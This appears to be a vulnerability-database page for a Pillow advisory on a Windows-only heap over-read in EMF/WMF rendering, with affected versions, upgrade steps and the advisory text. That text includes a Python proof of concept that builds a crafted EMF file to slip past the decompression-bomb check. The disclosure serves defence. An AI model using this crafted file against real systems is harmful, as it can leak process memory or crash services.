high · 7.1 Patched

Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)

CVE-2026-96644 · GHSA-9v9v-9qvf-h2hj · published 22 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.1 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-96644?

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Who is affected

  • Pillow (PyPI) < 13.0.0

How to check

  1. Run pip show Pillow in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

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  1. Upgrade Pillow to 13.0.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary On Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read. ### Details The EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check: - `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`. In the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints: - `src/display.c:793-794` assign the 16-bit fields - `src/display.c:800` sizes the allocation from them - `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values The whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`). ### PoC ```python import struct from PIL import Image def L(v): return struct.pack("<i", v) # Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the # decompression-bomb check, but the width truncates to 16 bits for the allocation while # the copy uses 70000. emf = b"\x01\x00\x00\x00" + L(88) # record type + size emf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1 emf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc) emf += b" EMF" # signature at offset 40 emf += bytes(44) open("poc.emf", "wb").write(emf) im = Image.open("poc.emf") print("size:", im.size, "pixels:", im.size[0] * im.size[1]) im.load() # over-read happens here on a Windows build ``` On Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead). ### Impact CWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.

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References

Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON